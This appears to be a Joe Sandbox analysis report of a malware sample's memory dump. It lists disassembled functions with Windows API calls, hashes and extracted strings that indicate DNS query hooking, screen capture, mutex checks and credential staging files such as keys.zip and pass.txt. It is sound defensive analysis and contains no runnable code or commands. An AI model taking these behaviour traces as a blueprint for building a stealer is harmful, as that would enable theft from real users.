                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Object$CompatibleCreateDeleteSelect$Bitmap$Release
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 494365272-0
                                                                                                                                                                                                                      • Opcode ID: 6def16ed3920c8b20b2e77b6af27072404633966d7136cffa88cada1d6742f8d
                                                                                                                                                                                                                      • Instruction ID: dd37e0fb480a355b35b90459d17fd3af9fdf6f1f36917cfd1306572c5c9cb0f0
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6def16ed3920c8b20b2e77b6af27072404633966d7136cffa88cada1d6742f8d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7A21ECBAE90210EFD700DB75E984E7737E9FB8D752740895AF608C3250DB75A8218F64
                                                                                                                                                                                                                      Function 026F6350 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 53libraryloadernetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32(027070A0), ref: 026F6350
                                                                                                                                                                                                                      • DnsFlushResolverCache.DNSAPI ref: 026F635A
                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(Dnsapi.dll,00000000,00000000,75B07390), ref: 026F636A
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DnsQuery_A,74DEF550), ref: 026F6383
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DnsQuery_UTF8), ref: 026F639F
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DnsQuery_W), ref: 026F63BB
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Query_Main), ref: 026F63D7
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressProc$#680CacheFlushLibraryLoadResolver
                                                                                                                                                                                                                      • String ID: DnsQuery_A$DnsQuery_UTF8$DnsQuery_W$Dnsapi.dll$Query_Main
                                                                                                                                                                                                                      • API String ID: 3335484569-3547598143
                                                                                                                                                                                                                      • Opcode ID: ac24992703c2bba095bea524ffff905b1ddcc30c00bd53af33cc170ba8bca2d6
                                                                                                                                                                                                                      • Instruction ID: f72e1105351e180385f67be9e8e6763498a4789b743ab075b0e5c9c70fc1b788
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ac24992703c2bba095bea524ffff905b1ddcc30c00bd53af33cc170ba8bca2d6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F001ADA37C1326B2FE5232729C4AF1F3B4D5F09E4AB510410B722F1184DFE4D00248B9
                                                                                                                                                                                                                      Function 027119B8 Relevance: 21.0, APIs: 9, Strings: 3, Instructions: 45sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 027119CC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027119D9
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 027119ED
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027119FF
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027117D0,00000000,00000000,00000000), ref: 02711A10
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02711A1F
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02711A26
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee26b7), ref: 02711A2D
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee26b7,KBP), ref: 02711A47
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 02711A50
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$CloseMutexSleep$BackslashCreateInformationObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                                      • String ID: 26ee26b7$KBP$Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}
                                                                                                                                                                                                                      • API String ID: 4173420962-3807664322
                                                                                                                                                                                                                      • Opcode ID: dcb4872ba2af644db3cba65b6128605aaddf346d151f95ba95c89f76614dba25
                                                                                                                                                                                                                      • Instruction ID: 2893799f18aa55698588afb35c38af122e195bce34d316255b08837413b8c1de
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dcb4872ba2af644db3cba65b6128605aaddf346d151f95ba95c89f76614dba25
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0601A970AC67117BF32257644C0AF5E7F946F09F56F554504FA55B92C08BF094008BBA
                                                                                                                                                                                                                      Function 026FF870 Relevance: 20.1, APIs: 16, Instructions: 76memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000,?,026FFB54,?), ref: 026FF88F
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,026FFB54,?), ref: 026FF892
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,026FFB54,?), ref: 026FF89B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,026FFB54,?), ref: 026FF89E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,00000000,?,026FFB54,?), ref: 026FF8B1
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,026FFB54,?), ref: 026FF8B4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,026FFB54,?), ref: 026FF8BD
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,026FFB54,?), ref: 026FF8C0
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000,?,026FFB54,?), ref: 026FF8D3
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,026FFB54,?), ref: 026FF8D6
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,026FFB54,?), ref: 026FF8DF
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,026FFB54,?), ref: 026FF8E2
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,00000000,?,026FFB54,?), ref: 026FF8F5
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,026FFB54,?), ref: 026FF8F8
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,026FFB54,?), ref: 026FF901
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,026FFB54,?), ref: 026FF904
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1670920773-0
                                                                                                                                                                                                                      • Opcode ID: c9d68dc91308134d802df034bdbef2b04e998a2593b191217e9bee8d0bf873fb
                                                                                                                                                                                                                      • Instruction ID: 33d2eb0c68af253f631bc6c5dd83401c7ccf7721d954634900ac5303e64d75e0
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c9d68dc91308134d802df034bdbef2b04e998a2593b191217e9bee8d0bf873fb
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62111975A40315B7DA609BB68C88F0B7F6CEFC8B66F15851ABA1897280DA70D400C9B0
                                                                                                                                                                                                                      Function 026F7728 Relevance: 19.6, APIs: 13, Instructions: 140memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?), ref: 026F77DE
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F77E5
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 026F77F9
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 026F7808
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(00000000), ref: 026F780F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F7883
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F7886
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F7893
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F7896
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$AllocBackslashFreePathValidatelstrcpynmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 296989886-0
                                                                                                                                                                                                                      • Opcode ID: b4193b941e9a7cecf3585348515fa38411e7d87bfcddf5acd64472a7069ba6bc
                                                                                                                                                                                                                      • Instruction ID: 9df5ef4e10740bcadd4c7318d97c9d7b5c8d30c809f3c84edf1942a81f20768e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b4193b941e9a7cecf3585348515fa38411e7d87bfcddf5acd64472a7069ba6bc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FE41F9719082465BCF628F309C99BB7BFAAAF4A345F484554EF8287241EB32D409C790
                                                                                                                                                                                                                      Function 026FC950 Relevance: 19.6, APIs: 13, Instructions: 116windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • IsWindow.USER32(?,74DF30D0,75C0BCB0,74DF3050), ref: 026FC96D
                                                                                                                                                                                                                      • IsWindowVisible.USER32(?), ref: 026FC97C
                                                                                                                                                                                                                        • Part of subcall function 026FDCE0: GetClassNameA.USER32(?,?,00000101), ref: 026FDCF6
                                                                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 026FC9B9
                                                                                                                                                                                                                      • GetClassLongA.USER32(?,000000E6), ref: 026FC9C2
                                                                                                                                                                                                                      • PrintWindow.USER32(?,?,00000000), ref: 026FC9D5
                                                                                                                                                                                                                      • RedrawWindow.USER32(?,00000000,00000000,00000485,?,?), ref: 026FC9FB
                                                                                                                                                                                                                      • CreateRectRgn.GDI32(?,?,?,?), ref: 026FCA11
                                                                                                                                                                                                                      • GetWindowRgn.USER32(?,00000000), ref: 026FCA1B
                                                                                                                                                                                                                      • OffsetRgn.GDI32(00000000,?,?), ref: 026FCA35
                                                                                                                                                                                                                      • SelectClipRgn.GDI32(?,00000000), ref: 026FCA40
                                                                                                                                                                                                                      • BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 026FCA69
                                                                                                                                                                                                                      • SelectClipRgn.GDI32(?,00000000), ref: 026FCA72
                                                                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 026FCA75
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$ClassClipRectSelect$CreateDeleteLongNameObjectOffsetPrintRedrawVisible
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3597830993-0
                                                                                                                                                                                                                      • Opcode ID: 6d2c312039cd620619fa7961aeed825da14f07daf457efbbbc9d3252a6dd82f9
                                                                                                                                                                                                                      • Instruction ID: 23a326398d792f153b00ae5a36e45f327682cf1fd62a9d332314816f9eb557d3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6d2c312039cd620619fa7961aeed825da14f07daf457efbbbc9d3252a6dd82f9
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0B317E71A40218AFDB54DB64DC89FBF7BBCEF89752F508509FA01E3280DB706811CA64
                                                                                                                                                                                                                      Function 0271E214 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200filetimeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(000004E3,00000000,?,?,?,?), ref: 0271E265
                                                                                                                                                                                                                      • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0271E281
                                                                                                                                                                                                                      • GetFileInformationByHandle.KERNEL32(00000000,?), ref: 0271E29B
                                                                                                                                                                                                                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 0271E2B1
                                                                                                                                                                                                                      • wsprintfA.USER32(?,%02d/%02d/%04d %02d:%02d,?,?,?,?,?), ref: 0271E2DC
                                                                                                                                                                                                                      • realloc.MSVCRT(00000000,?), ref: 0271E302
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 0271E375
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,00000004,?,00000000,00000000), ref: 0271E40A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • %02d/%02d/%04d %02d:%02d, xrefs: 0271E2D6
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$HandleTime$ByteCharCloseCreateInformationMultiSystemWidefreereallocwsprintf
                                                                                                                                                                                                                      • String ID: %02d/%02d/%04d %02d:%02d
                                                                                                                                                                                                                      • API String ID: 3846129198-4051342895
                                                                                                                                                                                                                      • Opcode ID: c5fa0b56e5d0e1feb6444a8e4b255232c62d42940f58ba59adfad02f58748707
                                                                                                                                                                                                                      • Instruction ID: b4bb9cfcdeb3d68bcf214dc97bcf1257bb18e139924c3f59410321f2c8524668
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c5fa0b56e5d0e1feb6444a8e4b255232c62d42940f58ba59adfad02f58748707
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5611571A006199FCB10CF78DC58AEFBBF4EF49311F0086A9F94697281EB31A515CBA0
                                                                                                                                                                                                                      Function 027141B9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C,?,00000000), ref: 027141D7
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,path%i.txt,00000000), ref: 02714237
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 02714297
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: BackslashPath$_snprintf
                                                                                                                                                                                                                      • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$keys.zip$path%i.txt$path.txt
                                                                                                                                                                                                                      • API String ID: 761212885-4167808235
                                                                                                                                                                                                                      • Opcode ID: 605f62975dc338c31b6da49718ce17364abbc3319fb9b8a8960712be826184b6
                                                                                                                                                                                                                      • Instruction ID: ed36af44936d8576c0c959340abc566c480e7ea3541dd7fecefae24a598aecaa
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 605f62975dc338c31b6da49718ce17364abbc3319fb9b8a8960712be826184b6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02510B7194464A9FCB1ACB3CA8797EB7BE2AF4A300F1585E4D9C6E7200DB719948C740
                                                                                                                                                                                                                      Function 026F6B10 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102registrymemorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,00000000), ref: 026F6B41
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,000000FF,00000000), ref: 026F6B5F
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,80000001,?,?,?,?,?,00000000), ref: 026F6B7A
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(80000001,D900DE38a,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 026F6BA1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 026F6C1A
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 026F6C21
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000110,?,?,?,?,?,00000000), ref: 026F6C35
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 026F6C4E
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 026F6C5C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
                                                                                                                                                                                                                      • String ID: D900DE38a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 217510255-1618979280
                                                                                                                                                                                                                      • Opcode ID: 9f50c951831f34fb7caed83410c61e63e6312dbc82e872c7bcc892b9f115f3b8
                                                                                                                                                                                                                      • Instruction ID: 9d79f9d863d8efba2fdff302ce53bb098e034993087a34eed6e0b8d844497c07
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9f50c951831f34fb7caed83410c61e63e6312dbc82e872c7bcc892b9f115f3b8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D531E570E41218AAEB25DB64CD49FDF7B7CEF08704F008598E659E6181D7B18A888BE0
                                                                                                                                                                                                                      Function 02711E09 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 90threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,?), ref: 02711E6D
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02711E77
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02711E7F
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02711E90
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02711E97
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 02711EA4
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02711F30,00000000,00000000,00000000,?,00000000,?), ref: 02711EEA
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02711F02
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02711F13
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateDirectoryErrorHandleLast$#680CloseCurrentFolderInformationMakePathSystemThread
                                                                                                                                                                                                                      • String ID: 26EE2636$pass.txt
                                                                                                                                                                                                                      • API String ID: 3288908350-1011421238
                                                                                                                                                                                                                      • Opcode ID: e201a591ee576e9c36c4a9500430ab4f7a01e42e9cfd307d7d7d402e2e0fd85d
                                                                                                                                                                                                                      • Instruction ID: 82ce98dee640f1d5c8cc02771b4dcfa218e7239e52515b131419c0e7ef7bdb6c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e201a591ee576e9c36c4a9500430ab4f7a01e42e9cfd307d7d7d402e2e0fd85d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8B310931A442195BDB218F789C187EF7BA8FF49302F548554FE89DB240DBB09954CBD0
                                                                                                                                                                                                                      Function 0270CB80 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 45sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}), ref: 0270CBAC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270CBB9
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270CBCD
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270CBDF
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0270CBEE
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270CBF5
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE256C,BSS), ref: 0270CC0F
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270CC15
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationObjectOpenPathReleaseSingleWait
                                                                                                                                                                                                                      • String ID: 26EE256C$BSS$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}
                                                                                                                                                                                                                      • API String ID: 3206501308-734855587
                                                                                                                                                                                                                      • Opcode ID: 6d17852fc2c0a91455ccbe6a7b9fbb6e3543ed4a470db3924c333e3844b6556d
                                                                                                                                                                                                                      • Instruction ID: 09337da1410163b589cf5993357988fff1047c7a0b095d9f4c9950eb81745a28
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6d17852fc2c0a91455ccbe6a7b9fbb6e3543ed4a470db3924c333e3844b6556d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF01A7B0AC9305EBE21367509C4AF1B7BD8AB09B15F448709F952B21C19BB095148776
                                                                                                                                                                                                                      Function 0271A280 Relevance: 18.9, APIs: 15, Instructions: 136COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
